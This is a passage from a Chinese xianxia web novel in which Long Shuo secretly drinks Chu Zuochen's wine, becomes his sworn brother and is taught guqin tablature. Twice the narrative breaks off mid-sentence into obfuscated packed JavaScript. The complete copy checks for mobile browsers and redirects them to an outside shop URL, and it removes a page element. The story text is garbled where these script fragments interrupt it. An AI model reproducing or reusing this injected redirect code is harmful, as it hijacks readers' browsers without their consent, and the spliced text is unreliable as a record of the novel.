龙烁忙施法传讯:“我说老兄,你不疼也要给我装装样子啊,否则我就要被人误会是妖怪啦!” 分身回应:“为什么是妖怪而不是神仙?” “哎呀”,龙烁急道:“这不是重点!”,他直想从大柱之后闪出身来训斥他。 那分身忙道:“哎好啦,我装就是了!” 说罢,哎哟哎哟地在地上打起滚来。 叶子规见那分身装模作样地大喊大叫,嘴角肌肉不自觉地抖动起来。 洪山雪虽然略感奇怪,却并未深究,他向众人质问:“你们是不是忘了我当初的命令?” 众星君齐声回应:“属下谨记宫主法旨,壮大星月宫,尽快找到姬希!” “哼,记得便好,从今往后,我不想再看到你们之间的勾心斗角,若是再有人胆敢在我面前搬弄是非,不管是谁,一律杀无赦,听明白了吗?” 众星君连忙跪拜:“属下遵命!” 洪山雪一拂衣袖,那群新入宫的年轻男子全部躺倒在地,各人兀自紧捂胸口痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到得东宫门外,龙烁径自穿过大殿来到后院,发现这里静悄悄地无人看守,暗想这星月宫一定是建在了一处极难寻找的隐秘之处,所以大家根本不必考虑会有外人闯入,可他们也绝没想到会有我这样的不速之客来到此地。 到得九华殿,龙烁推门而入,行至桌案旁,他移开那本《东坡文集》,发现那首“星月夜”竟已不在,暗暗疑惑:“刚刚我明明还看到那首诗便在此处,怎么现在却没有了,看来是有人在我离开之后进来盗诗——” 回忆片刻,他突然想起自己离开此地前,似乎看到一个人影一闪而过,当时并未在意,现在想来,原来那人是来盗诗的! 龙烁决定等青龙星君回来之后向他告知此事。 他在屋中来回踱步,等了将近半个时辰却不见其踪影,不禁暗暗有些纳闷。 他想效法关羽,拿起那本《春秋》秉烛夜读,只是不同的是,关公夜读《春秋》是为保护兄嫂安全,而自己夜读《春秋》却是为等青龙星君回来向他告密,虽然同样是义举,但两者之间的差别却又甚大,暗觉好笑。 读书至深夜,龙烁伸伸懒腰,站起身来走至窗前。 此时月上中天,月光从窗口倾斜而下,直射到墙角的床榻之上,他忽然发现床尾处似乎也有突起,掀开来看,却是一支青色洞箫,箫尾吊有一块环形玉佩,上挂红色流苏,看起来十分精致小巧。 他暗想那日朱雀星君曾说青龙星君的成名绝技乃是“洞箫飞雨”之术,什么洞箫飞雨、珠落玉盘之类的,却不知那是什么法术,他推测大概是箫声能够使人泪流不止之类的法术。 正纳闷间,忽闻一股浓烈的酒香扑鼻而来,龙烁顿时睁大眼睛,寻着酒味将床榻全部掀开,竟发现床下有一暗格,打开一看,里面满满的全是一罐罐的酒坛子,虽不知那是什么名酒,其酒香却是异常浓郁芬芳,宛如置身于百花丛中一般令人心驰神往。 龙烁两眼放光口水直流,抄起一个酒坛子仔细嗅闻,连连感叹:“青龙星君,那日你救了我,刚才我也救了你,咱俩虽然扯平了,但是你心地仁善大人大量,我喝你一坛子酒我想你一定不会生气的是不是,嘿嘿!” 他将坛盖拨开扔到一边,咕咚咕咚地将这一坛子美酒喝了个精光。 擦擦嘴角,他感到没喝尽兴,又去盯那其余的酒坛子,心道:“两坛也不会生气的对吧,哈哈!” 两坛、三坛、四坛……到得最后,龙烁脚边的酒坛子已经围了一圈,细细一数,竟已喝了满满的九坛,他不禁大感惊讶,再仔细一数,又好像是十坛。 他使劲眨眨眼睛,伸出两只手指来看,竟发现两根手指旁已出现虚影,若不是知道自己比画的是二,可能便会脱口而出说这是三是四了。 他嘿嘿一笑:“嗯,龙烁,你喝醉了!” 他摇晃着身子将那些空坛子盖好盖子放回原处,拿起《春秋》走到窗边坐了下来,打算再读一会儿书等着青龙星君回来。 晚风一吹,清凉透顶,他略感头晕目眩,翻开书页,只觉上面的文字一跳一跳的像是活了过来,他连忙用手按住它们:“别闹!” 看着看着,他脑袋一歪,昏睡过去。 48.九华深意 忽听一小童惊叫:“床榻怎么如此不平,星君,莫不是屋里进了贼?” “无妨,他们想要的早已经拿到!” 是楚作尘的声音。他语音孱弱,似是受了很重的伤。 龙烁猛一睁眼,发现自己不知何时睡倒在了书架之间。 身体被遮挡,那二人一时间并没有发现。 外面天色黑暗,算来应是三更时分。 那小童道:“星君,您先趴一会儿,我即刻去找大夫!” “不必了,已经上了药,我静养休息即可,你出去吧!” 龙烁微一抬头,后脑勺“咚”地一下子碰到书架之上,他失声叫道:“哎呦!” 那小童一惊:“什么人?” 龙烁再一抬头,那小童已经穿过层层书架挺剑站在他面前。 “大胆小贼,竟敢擅闯九华殿!” 小童挥剑向龙烁刺去。 龙烁连忙躲闪:“我是龙烁,是青龙星君的朋友!” “放肆,青龙星君地位尊贵,何来朋友,你受死吧!” “是龙兄弟!”,楚作尘竭力大喊:“小陆,住手——” 闻声,那小童连忙收手。 龙烁从层层书架间闪出身子,却见楚作尘趴在床榻之上望向这边。 他的后背印染了一大片鲜红血迹,将他背后的衣衫全部浸湿。 龙烁疑问:“青龙星君,您怎么受了这么严重的伤?” 楚作尘轻轻摆摆手:“无妨!” 他在小陆的帮助下换上干净衣衫:“没事了,你出去吧!” 小陆收剑入鞘:“是!”,旋即缓缓退出九华殿。 楚作尘忍痛起身:“龙兄弟,我还道你可能熬不过一个时辰,心下自责良久,现在看到你没事真是太好了,怎么你的伤会好得这么快?” 龙烁嘿嘿一笑:“晚辈略施小计躲过一劫,多谢青龙星君挂怀,倒是您,为什么会受了这么严重的伤?” “这伤我早已习惯,龙兄弟不必担心,过几日便好了!”,楚作尘好奇地问:“你说你略施小计躲过一劫,此话怎讲?” 龙烁微微一笑:“我机缘巧合跟松杨子前辈学会护体三身术中的分身术法,昨夜您看到的那个并非我本人,他其实是我的分身!” 楚作尘恍然大悟:“松杨先生的护体三身术法我早有耳闻,我只道那是传说,原来确有此事!只是,分身竟甘愿代你以身犯险,却也仁义得紧——” “分身并无生命,也感觉不到任何疼痛,他既听我号令,那么用他代替您受那脊鞭惩罚那是最合适不过!” 楚作尘沉吟片刻,连连赞叹:“妙啊!若非你暗使分身术法助我脱险,我这条命怕是要交代在那里了!多谢龙公子救命之恩!” “青龙星君救我在先,难道您忘了吗?那日我被逼跳河,是您及时出手杀死土蝼救我一命!” “噢?”,楚作尘回忆半晌,一时间竟没想起来。 龙烁暗想:青龙星君救人性命不求回报,这份气节可不是一般人能比得了的—— 楚作尘一拍大腿,背后一阵剧痛,却强自忍耐:“我想起来了,那日我诛杀土蝼之后,为避免多生事端,着急赶回自己的封地,这才没来得及跟龙兄弟你多说几句话,现在想来,我当时真该同你喝上几杯再走才是,哈哈哈哈!” “在下正有此意,说实话,昨日我误打误撞来到九华殿,发现青龙星君也是一位爱书好酒之人,咱二人志趣相投,当时便想着有朝一日若能与青龙星君共同喝酒读书赏月,那才是人生一大快事!” “哈哈哈哈,好饭不怕晚,好酒不怕迟,既然龙兄弟也喜欢喝酒,不如咱二人今日便来个一醉方休!” 楚作尘说罢便要掀开床榻去暗格里取酒。 龙烁浑没想到青龙星君爱酒如是,较自己似乎有过之而无不及,他担心自己偷酒喝暗格中酒的事情败露,忙上前劝说:“那个,青龙星君——今晚还是不要喝了吧,你身上还有伤,不如过些时日等你的伤好了,咱二人再喝他个痛快!” “无妨,宫主今日手下留情只给我了两鞭,我敷上她老人家的疗伤圣药后已无大碍,不妨碍咱们喝酒!” “疗伤圣药?”,龙烁好奇道:“那是什么药?” 楚作尘从胸口衣袋中取出一个棕色小瓷瓶:“这个药叫作‘续玉膏’,是宫主亲自研制的疗伤灵药,抹上之后立时止血,两日之后伤口便可愈合!” “哦哦,那咱们还是两日之后再喝酒罢,不然你的伤口会痛——” “哈哈,我多喝些酒就不会感觉到痛啦!龙兄弟,你来尝尝我私藏的美酒味道如何——” 楚作尘打开床下的暗格伸手去拿酒坛子。他提起一坛,发现是空的,立即放回,再提起一坛,又是空的,又即放回去,一连拿起七八个酒坛子竟发现都是空的,不禁皱起眉头。 龙烁心中发颤,却听楚作尘高喊:“来人!” 他这一声中气十足,较之刚才的孱弱声音大不相同,显然是十分生气。 龙烁吓得浑身一哆嗦,暗想莫非他是要喊人来捉拿自己? 小陆急忙跑进来问:“星君有何吩咐?” 楚作尘深深叹一口气:“暗格中的酒我竟忘了什么时候已经全都喝光了,你再从地窖中给我搬来二十坛三十年的百花酿,我要跟这位龙公子喝酒,赶快!” “是!” 小陆飞快地跑出殿门去喊其他伙计们搬酒。 龙烁愣在原地,暗想这青龙星君竟丝毫没有怀疑这酒是被人偷喝了,他心地善良,单纯如斯,实在是不得不令人敬仰! 片刻之后,四个小童提着八个酒坛子飞奔而来,不一会儿功夫便将二十坛子美酒整整齐齐地摆在他二人面前。 龙烁暗忖:昨夜我喝了九坛——啊不是——可能是十坛,刚好差不多就醉了,他吩咐下人拿来二十坛酒,那就是给我二人一人十坛,看来这青龙星君的酒量与我不相上下,也是十坛的量! 四名小童退去后,楚作尘提起两坛子酒,将其中一坛递在龙烁手中问:“龙兄弟都喜欢读些什么书呢?我这九华殿的书香阁内可有入得了龙兄弟法眼的好书吗?” “啊,有的有的!” 龙烁拨开坛盖与楚作尘手中的酒坛轻轻一碰:“在下酷爱读一些经史子集,尤其是《春秋》《左传》《汉书》《后汉书》这一类的历史典籍,昨夜我就——” 话到嘴边,龙烁连忙咽回,他险些将昨晚私闯九华殿偷喝他的酒、偷看他书的事情秃噜出来。 楚作尘喃喃道:“原来龙兄弟喜欢读史书,这点却与我不尽相同了,古文晦涩难懂,史书更是枯燥无味,我自觉半个时辰也读不下去!” “啊,我知道!”,龙烁喝一口酒道:“青龙星君喜欢诗词歌赋,对不对?” 楚作尘睁大眼睛问:“你怎知道?” “昨日我暗藏大柱之后,目睹星月殿中所发生的一切,青龙星君能够写出《星月夜》这样的诗来,我自然就知道你是喜欢诗词歌赋的了,说实话,我也很喜欢!” 提到《星月夜》,楚作尘轻轻叹一口气:“龙兄弟聪明机敏,笃实好学,果然是难得的青年才俊!” 龙烁拱手:“青龙星君您过奖了,晚辈愧不敢当!” 楚作尘微微一笑:“今日你我一见如故,咱二人眉眼之间又有几分相像,你就叫我楚大哥便了,我唤你做龙弟如何?” 龙烁大喜:“小弟求之不得,青龙星君大我将近二十岁,论年纪我本该叫您做叔叔的,只是您的长相太过年轻,哈哈,叫叔叔只怕旁人不信,小弟恭敬不如从命,来,楚大哥,我敬你一坛酒!” 龙烁说着咕咚咕咚将一坛子酒喝了个精光。 “哈哈,痛快!龙弟,我上次跟人这样痛快的喝酒,那还是在十八年前了,今日能够遇到你这位酒友,实是平生快事,来,干!” 楚作尘咕咚咕咚也喝下一坛子酒。 二人四目相对,哈哈哈地大笑起来。 刹时间,龙烁忽然想起一事:“对了楚大哥,昨日我误入九华殿,曾看到一个模糊的人影在你窗前闪过,而后你的那首诗稿便不见了,我想这人一定是朱雀星君的手下,定是他趁你不在宫中偷走你的诗作,然后在宫主面前诬陷于你!” 楚作尘轻哼一声:“叶子规觊觎我的星首之位已久,早就有想将我取而代之的念头,他又何尝知晓,我其实是求之不得——” “楚大哥此话怎讲?” “龙弟你有所不知,宫主生性好静,不喜喧哗,由于我资历最老,他老人家每次回宫,只叫我一人喝酒论事,我也是因此染上酒瘾!可是宫主每次醉酒之后,脾气就会变得异常暴躁,一旦我说话稍有不慎,就会受到那脊鞭责罚,这十几年来,我可是吃尽了苦头,你看——” 他说着解开衣带露出白皙坚实的后背,背上横七竖八满是杂乱鞭痕,其中一些伤痕更是重叠起来。 两道崭新的伤痕血流如注,一条自左上划至右下,另一条自右上划至左下,像极了教书先生打的大红叉。 龙烁暗自惊惧,不知他这些年受了多少折磨,只听楚作尘继续道:“不过也幸好如此,每次我在外游历,都不必再刻意为完成任务而去掳掠青年男子,因为无论如何我都逃不过这脊鞭重刑之罚——” 他穿好衣服深叹一口气:“我时常感觉人生无常,总觉得说不定什么时候宫主便会失手将我打死,我死却不要紧,只苦了我那帮兄弟们,到时宫主一定会将他们重新整编,若是被分到玄武星君卢照影的麾下还好,若是落到叶子规的手里,他一定会公报私仇,将他们全部杀害!”,他说着提起一个酒坛子咕咚咕咚地又喝个精光。 龙烁劝说:“楚大哥你不要这么想,好人自有好报,你心地仁善,重情重义,这世间如果没了你,不知又有多少人死于非命,所以上天一定不会轻易让你死的!” “天地不仁,以万物为刍狗,圣人不仁,以百姓为刍狗!世事无常,生命本就如此,没有什么一定不一定,应该不应该!我只求在有生之年做一些无悔之事,无愧于天地,无愧于众生,无愧于做这九华殿主,也就是了!” “楚大哥,人非圣贤,又有谁能做到一生无愧?我看是你对自己的要求太过苛刻了!你这里的藏书丰富至极,世上除了皇宫之外无出其右,这九华殿主,你自是当之无愧的!” 楚作尘微微一笑:“龙弟 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楚作尘提起酒坛子与龙烁手中的酒坛子轻轻一碰,发出一声清脆的鸣响,哈哈一笑,说道:“酒逢知己千杯少,话不投机半句多,这最后一华,便是这弥足珍贵的‘友华’,俗话说良朋易得,知音难求,龙弟,我这十八年来,再未遇到过像白虎星君那样的知音,龙兄弟坦率诚朴,至纯至性,今日得与你相识,使得我这九华殿的‘友华’二字得能重现,我楚作尘此生也算是不枉了!咱二人今日一定要喝个痛快,不醉不归!” 他说着又将这一坛子酒喝干了。 龙烁心中激动不已:“您青龙星君的名号在江湖上已是神一般的存在,而我龙烁何德何能,不过毛头小子一个,承蒙楚大哥不弃,今日能够与你相识相知,实是小弟的福气!” 他说着咕咚咕咚地也喝干一坛子酒。 楚作尘哈哈一笑:“咱二人已经喝了一人八坛,而你依旧清醒如初,龙弟果然酒量不凡!” 龙烁打趣:“我这酒量遇强则强,遇刚则刚,楚大哥千杯不醉,我龙烁又岂能不奉陪到底?” “好!”,楚作尘一拍大腿,起身喊道:“不如今日咱兄弟二人较量一番!小陆,再给我们一人搬来十坛子酒!” 龙烁差点惊掉下巴,他暗想自己虽然酒量不俗,但也不过十坛的量,莫非楚大哥实力雄厚,酒量更胜一筹?若是如此喝将下去,只怕自己便要喝得烂醉如泥不省人事了! 想到此处,龙烁赶忙起身来走到古琴边轻轻拨弄,若无其事地道:“楚大哥,昨日我在殿外听到一丝断断续续的琴音,莫非是你用这把古琴弹奏出来的?” 楚作尘忽地起身:“你听到了我的琴音?可有什么反应没有?” “有啊,这琴音荡气回肠,听得我心旷神怡,只是大哥您似乎对这琴谱不甚熟悉,我只觉这琴音时断时续,不甚连贯!” 楚作尘叹息一声:“有一段琴谱我确实无法跟上速度,但你未感异常也并非完全是这个缘故!那断档之处本应以箫声相和,我一人无法兼顾,所以只弹奏了琴谱! 这首琴箫和鸣之曲名为《金风玉露》,是我与白虎星君白翼大哥合力所创,只可惜自从他离开星月宫之后,我便再也找不到一人能够同我合奏此曲,所以昨日我独自弹奏琴谱,自然是发挥不出这曲子的威力!” “噢!”,龙烁微微点了点头,右手食指在琴弦上拨弄两下发出清脆的声响:“这古琴很难学吗?为什么再也找不到一人能够同你合奏?” “并非古琴难学,大概世上所有的术法绝技都是一般,入门虽易,学精却难,一靠天赋,二靠勤奋。白大哥传授我古琴指法已近二十载,虽然我日夜勤学苦练,可惜天赋不够,至今仍只是学到他一点点皮毛,何况《金风玉露》这首曲谱十分古怪刁钻,稍有不慎,发出的声音便不准确,曲子的威力也会大大缩减! 对了龙弟,你会不会弹奏古琴?” “啊?我?呵呵,我不会!” 楚作尘将龙烁的双手抓到面前仔细观察一番:“龙弟手指修长指甲坚硬,倒是块学习古琴的好料子!”,他眼睛微微闪动:“我来教你弹奏古琴,你可愿意学习?” 龙烁暗想自己本打算今日便要离开,却没想到能与青龙星君把酒言欢一番,推迟一日再走,倒也无妨,但若在短短一日之内学会古琴,那是绝无可能的,于是婉言推辞:“小弟不才,我可对音律一窍不通,琴谱都看不懂呐,怎么可能学得会啊,呵呵!” “我看你刚刚手按琴弦,一收一推,指法倒也规矩得紧,正是古琴第一指法——挑!你挑出的琴音不轻不重不刚不柔,你从未弹过古琴却能挑出这样的琴音,也算是难得!” 龙烁尴尬一笑:“小弟没吃过猪肉还没见过猪跑嘛,我只是胡乱比画两下而已,楚大哥太抬举我了!” “过则闷,少则劈,上则飘,下则浊,而你的力度掌握得刚刚好!事实也好,凑巧也罢,你难道不愿跟我学琴?” 楚作尘身子轻晃:“我现下喝得高兴一时兴起才愿意教你学琴,你可知宫中想跟我学习古琴的小辈不在少数,我却根本不去理会他们——” 龙烁坦言:“楚大哥愿意教我学琴,小弟自是求之不得,只是我现下尚有要事在身,明日便打算离开此地回锦官城,他日我得空再来拜会大哥,到时再与大哥学琴不迟——” 49.曲水流觞 楚作尘轻笑:“你怎知这一日之内你不能学会这古琴?” 龙烁瞪大眼睛:“一日之内学会古琴?呵呵,楚大哥,你也太看得起我了吧!” “我不是看得起你,而是看得起我白大哥,他只用半日就将我教会了!我效法他当年那样只教你简单的入门知识,后面的深造练习就完全看你自己了!” “这……” 不等龙烁作决定,楚作尘便将他拉至古琴边:“来,我先教你指法再教你识谱,你须得认真听我讲解,因为一开始的时候最重要,虽然有些指法看似简单实则变化多端,开始若是做对了,后面就会容易很多——” 他一边讲解一边示范:“你听好,抹挑勾剔,擘托打摘,分分合合,零零整整,慢快慢快,看背看背,操缦之初,开指之时,变化得当,运劲如飞……” 他如此语不停歇地讲解将近半个时辰。 龙烁本就喝了八大坛子酒有些迷醉,此时听到这些拗口的心法更是云里雾里分不清东南西北,他晕晕乎乎迷迷瞪瞪,直想一头栽下沉沉睡去。 朦胧间,只听楚作尘轻问:“龙弟,你都记住了吗?” 龙烁登时惊醒,便如被教书先生突然点名提问一般,困意顿时消去一半:“呃,记——记住了!” 楚作尘看出龙烁的困倦之意,安慰他:“我说的这些你也不必一五一十全都记住,你只要抓住重点,知道我说的这八种指法如何运力就可以了,龙弟,这八种指法你可都记住了吗?” “八——八种指法?啊记——记住了,呵呵!”,龙烁仔细回忆刚才青龙星君传授的心法,这八种指法中好像有什么挑勾,什么托打,而另外几种指法,却是全然想不起来! “好!” 楚作尘拿起毛笔沾上墨汁,在宣纸上面写下一个生僻字:“我现在来教你识谱,古琴的琴谱记录的不是音高而是动作,叫作减字谱,你看好了,这第一个减字谱即为‘大九勾三’,大是指左手大拇指,九是指第九徽,勾是指右手中指向掌心内侧击弦,三则代表第三根琴弦,所有的动作合而为一即可弹奏出这一琴音,你听——” 楚作尘左手略微颤动,右手在第三根琴弦上轻轻一勾,只听“铮”的一声发出一抹淡淡的琴音。 “龙弟,你可明白?” 龙烁看向那“大九勾三”组成的生僻字,十分好奇,来了兴致,他学着楚作尘的样子在琴弦上轻轻一勾,发出的琴音与刚才一般无异,不觉十分有趣:“这倒没我想象的那么难!” 楚作尘又在宣纸上写下另一个生僻字:“这第二个减字谱叫作‘散挑七’,龙弟你可知这个减字谱又该如何弹奏?” 龙烁挠挠头:“让我猜一猜,这‘散挑七’,是不是说要在第七根琴弦上挑动琴弦?” “不错!” 楚作尘左手搭在琴弦之上,右手食指在第七根琴弦上轻轻一挑,发出一声淡淡轻响:“你悟性极高,我看你跟我一样,用不了半日便可学会!不过入门虽易,若要练得精熟却不简单,下面一个指法叫作抹……” 楚作尘依次讲解“大息”“少息”“曲终”“再作”“应合”等一众琴音所对应的减字谱。 龙烁听得入迷,只觉过了一会儿功夫,外面天光微亮,竟已是黎明时分。 楚作尘打个哈欠:“龙弟,古琴的所有指法我已经悉数教给你了,你虽然未必都能记住,但是无妨,我刚才所说的减字谱尽数都在这里——” 他从胸前衣袋中取出一本泛黄的图册摆在龙烁面前:“你好好研读牢记,只要你记住这里面的全部字谱,日后勤加练习,便能轻而易举弹奏出一首优美的曲子了!” 龙烁接过琴谱翻看之际,楚作尘在古琴旁边坐了下来。他指尖在琴弦上轻轻拨动发出阵阵清响,琴声时而悠扬婉转,时而慷慨激昂,时而情意绵绵,时而起伏跌宕。 一曲终了,龙烁拍手大叫:“楚大哥果然是技艺高超,竟然不用看就知道每根琴弦的位置所在!这首曲子叫什么名字?竟然如此好听!” 楚作尘起身走到窗前向外凝望:“每当我深夜孤寂之时,便会来到此地弹奏此曲,说来也奇怪,这首曲子的曲风虽然不甚欢快,却总能平复我心中波澜,这首曲子的名字叫做——” 他说到这里,忽听身后响起一阵琴音,正是自己刚刚弹奏的那首曲子,琴音严丝合缝,声调分毫不差。 楚作尘猛一转身,背后一阵火辣辣地疼痛,他强忍疼痛问:“龙弟,原来你知道《阳关三叠》这首曲子啊!” 龙烁双手一按琴弦,琴音戛然而止:“你是说以前朝诗人王维的《送元二使安西》为主要歌词来抒写离别之情的那首名曲《阳关三叠》?怪不得听起来总有股淡淡的忧伤!” 楚作尘轻笑:“你既学过还来问我?” “冤枉啊楚大哥,我听你刚刚弹奏此曲,只是依葫芦画瓢罢了,也不知弹得对是不对,不过你刚刚似乎就这样弹的,勾三,勾四,勾五,勾六,剔六。勾四,勾五,挑七,挑六,勾五。拿到四弦挑六弦,左手名指十二徽,上到十徽勾响四弦……” 龙烁一边说着,一边又弹奏起来。 楚作尘越听越奇,连连摇头:“绝无可能——你说你之前没有听过《阳关三叠》?” “这曲子的由来我确实在书中读到过,不过这曲调我却是头一次听到,说来这曲调与曲词搭配得简直完美,将这送别友人的惜别之情表现得淋漓尽致,却不知作曲之人又是何方高人?” 楚作尘顾不得背上伤痛,他背起古琴,快步走至床边掀开床榻,抄起那根青色洞箫,反身一把抓住龙烁的胳膊:“别管那个了,你随我来!” 龙烁还没明白过来发生什么事,他已经被楚作尘携着飞身跃至窗外。 二人越过水榭亭台,向东北方向的高山上奔去。 却听身后一人高喊:“青龙星君,您不能运使内力,不然您背上的伤就更难好啦——” “无妨,小陆,你看好家,别再进来不速之客,我们去去便回!” 小陆大急:“不是啊,青龙星君,我有要事禀报!” “有什么事等我回来再说!” “不是,青龙星君,青龙星君,有人……” 龙烁低头一看,小陆正在下面张牙舞爪地试图招呼他二人回来,却只得眼睁睁地看着他二人在一块大石后隐没身形。 龙烁好奇道:“楚大哥,你要带我去哪?” “一个除了我和白大哥再没有别人去过的地方!” 片刻之后,二人来到一处小溪旁,溪水蜿蜒而下形成一道浅浅的山涧。 周围无数奇花异草簇拥环绕,如世外桃源一般影映出一片岁月静好。 小溪中央有一座破旧的木亭,二人直奔木亭而去。 楚作尘携着龙烁在亭中坐下:“这里是星月宫的后山,地势较高,鲜有人来,龙弟,你感觉这里环境如何?” 龙烁向亭外眺望,发现这处小木亭虽然看起来很不起眼,却坐落在一块从山涧横出的大石之上,是一处绝佳的观景台。 远远望去,那山涧顺高山而下,如银河一向小木亭处缓缓流淌,又如绸缎一般潇洒飘扬而去。 山涧之水由宽变窄又由窄变宽,似是被这小木亭在中间打了个结,水花飞溅,掀起阵阵涟漪水雾。 龙烁走至亭外,牌匾上赫然写着“曲水流觞亭”几个大字。 “妙啊!”,龙烁拍手大叫:“这里风景优美仙气缭绕,简直是我心目中世外桃源的模样!文人雅士到这里玩曲水流觞之类的游戏那是再合适不过!” 他手上拍手叫好,嘴上随口大赞,心中却想:“真可惜了这么美丽的景色,两个大男人过来这里又有什么意思,若是红叶在我身边就好啦,她见到这么美丽的景色,肯定非常欢喜!” “还有更妙的,龙弟,你瞧!” 楚作尘取出那支青色洞箫,抵在嘴边轻轻吹奏。 箫声虽然舒缓温柔,龙烁却隐隐地感到一股杀气。 忽见山涧两旁的奇花异草腾地一下子凌空飞起,花瓣纷纷扬扬落入山涧之中,溪水变作“花水”,伴着一股浓烈的香气向他二人飘来。 “惊弓之鸟”四散而飞,野兔野鸭八方奔逃,场面极其壮观。 楚作尘笑问:“怎么样?” 龙烁凝视半晌,不好意思道:“景色很美,只可惜人不对!” 楚作尘奇问:“人不对?龙弟何意?” 龙烁喃喃道:“我又不是断袖,大哥你带我来这岂不是浪费,这么美的景色,应该带个姑娘过来观赏才对!那个,楚大哥,你莫不是,莫不是——” 楚作尘微微紧皱:“臭小子勿要胡言!我将这些花草清除,并不是让你来欣赏花瓣雨,而是要你去看那涧水两旁的石壁!” “石壁?” 龙烁不解,抬头望向亭外,却见山涧两旁奇花异草被割掉的地方确实露出光滑的石壁。 他远远望去,上面似乎刻得有字,只是字体甚小。 龙烁定睛一瞧,左边的石壁自上而下刻得是古琴的“减字谱”,而右边的石壁从上往下刻得是洞箫简谱。 那古琴的减字谱龙烁看不明白,指法刁钻古怪,十根手指似乎根本弹不过来,而那洞箫的简谱楚作尘又未曾传授,龙烁更加看不懂了。 “楚大哥,这石壁上的曲谱是你刻的么?这么远你是怎么做到的?” 楚作尘微微一笑:“龙弟,你可听说过我的成名绝技?” 龙烁瞪大了眼睛:“洞箫飞雨·珠落玉盘!我确曾听说过,莫非大哥你刚才所使的便是此术?” “不错!正是我的洞箫飞雨术!” “咦?不对啊,刚才明明是飞花,又何来飞雨啊?”,龙烁打趣道:“应该说是洞箫飞花之术更为恰当吧,哈哈!” “让龙弟见笑,说起来,我这洞箫飞雨术其实并非你想得那么唯美,二十年前,这术法曾经令人闻风丧胆避之唯恐不及!此术一出,可使人全身血脉不断偾张,最后经脉尽断暴毙而亡,这‘飞雨’所指的,其实是被我打伤之人所溅出的血雨!” 龙烁顿时汗毛倒竖,难怪他总觉那箫声之中暗藏杀气,原来这箫声中实是蕴藏着极为凌厉的锋芒。 楚作尘悠悠道:“我从小父母双亡,与我姐姐相依为命,我性格内向,常常受人欺辱,每次都是姐姐站出来替我解围!我自小就对武功术法非常感兴趣,创出这厉害的术法时还不满二十岁,一时间在江湖上声名鹊起!我本想做一名匡扶正义的英雄好汉,可是有人觊觎我的法术,掳走我姐姐并要挟我交出术法秘籍,我姐姐宁死不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401063|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈被他们杀害,我誓要找出杀害她的凶手为她报仇!我当时年轻识浅不懂得明辨是非,误信谗言杀死一批江湖好汉惹得众多江湖人士追杀!” 龙烁惊叹:“原来楚大哥深藏不露,不但术法高超,更是一位绝世高手,这与我认识的温文尔雅的楚大哥大不相同!” “确实不一样,现在的我已非当年那般青涩!有一次我被人打成重伤,幸好我遇上贵人才死里逃生!” “贵人?”,龙烁好奇地问:“这位高人难道武功比你还厉害?” “他虽然武功不比我厉害,但的确是一位高人,此人为人低调,江湖上鲜有人知!”,楚作尘轻轻叹一声:“龙弟,我也是后来才明白,其实这世上的高手远比你我知道的要多得多!” “那是自然,强中自有强中手,一山还有一山高!” “后来我被抓入星月宫,又多次遇上仇家追杀,每次都是白虎星君白翼大哥从旁调解,因此我二人交情越来越深,我二人结为异姓兄弟,他不但屡屡帮我劝退仇敌,还带我来到此处陪我阅读古书典籍,教我明辨是非,他让我明白,真正厉害的招数不在攻而在守,真正强大的力量不在镇压而在感化!” 龙烁想起恩师松杨先生的教诲,不住点头:“对,孰强孰弱真的不是只看武功术法的高低来下定论的,正所谓上善若水,水乃至柔之物,却可以击溃坚硬的磐石,这就叫作以柔克刚以弱胜强,松杨师父也是这样教导我的!” “嗯,若说以弱胜强,论武功论韬略,我都没有胜过白大哥!他曾跟我比武打赌,若是他赢了,从此以后,我便不可再用洞箫飞雨术来对付敌人,否则将遭到天打雷劈。 当时我年轻气盛自觉天下无敌,便答允了他,哪知他的琴杀术却远胜于我。自那之后我便信守诺言,不再使用此术!直到过了很多年我才渐渐明白白大哥的良苦用心,伤敌一千自损八百,每次我施展此术过后,现场都是血腥飞溅一片狼藉,那些因我而死的人所带来的怨恨,或早或晚终将反噬到我的身上,他这么做着实是为我考虑!” 龙烁暗暗点头:“不过,你说白虎星君的文韬胜过你我可以相信,但你说他的武略也胜过你我却不敢苟同。自我行走江湖以来所见过的众多高手中,还真没有几人能跟楚大哥您相提并论,白虎星君既能以琴杀术胜你,他一定是用了什么声东击西、瞒天过海之类的计谋!” 楚作尘连连摆手:“你从那石壁上所刻曲谱的深浅便可看出我二人功力的高低,左边的琴谱是他留下来的,右边的箫谱是我刻的!” 龙烁细细辨别,发现确实左边减字谱的刻痕极深,而右边箫谱的刻痕极浅:“原来那琴谱是白虎星君刻下的!莫非,莫非这石壁上的曲谱便是大哥您说的那首琴箫合奏的曲谱《金风玉露》?” “正是!”,楚作尘点头微笑:“那日我二人以曲水流觞的游戏喝酒对艺,忽然灵感大作,合力创出这首曲子,更有趣的是,我的箫声凄婉,而他的琴音高亢,一悲一喜,竟能令人生出许多奇妙的幻象,这其中的缘由我也是后来才知晓,龙弟,你知道这是为什么吗?” “琴箫和鸣能够让人幻生假象?”,龙烁微微皱起眉头,思索半晌,忽然眼光闪动,惊叫道:“我曾听闻四大术神之首的姬希老前辈曾经创出《靡音易志集》琴谱,其琴音能够使人致幻,莫非,莫非白虎星君就是姬希老前辈?” 楚作尘摇头:“据我所知,二十年前姬希老前辈已经年逾不惑,而白大哥却只大我两岁,正当盛年,我推测他可能是稽老前辈的其中一位弟子,所以他会使靡音术!” “哦哦,我知道姬希老前辈有五位弟子,叫作什么赤鹰子、橙翼子、黄尘子、绿珏子、青龙子,难道白虎星君白翼就是姬希老前辈的二弟子橙翼子?” 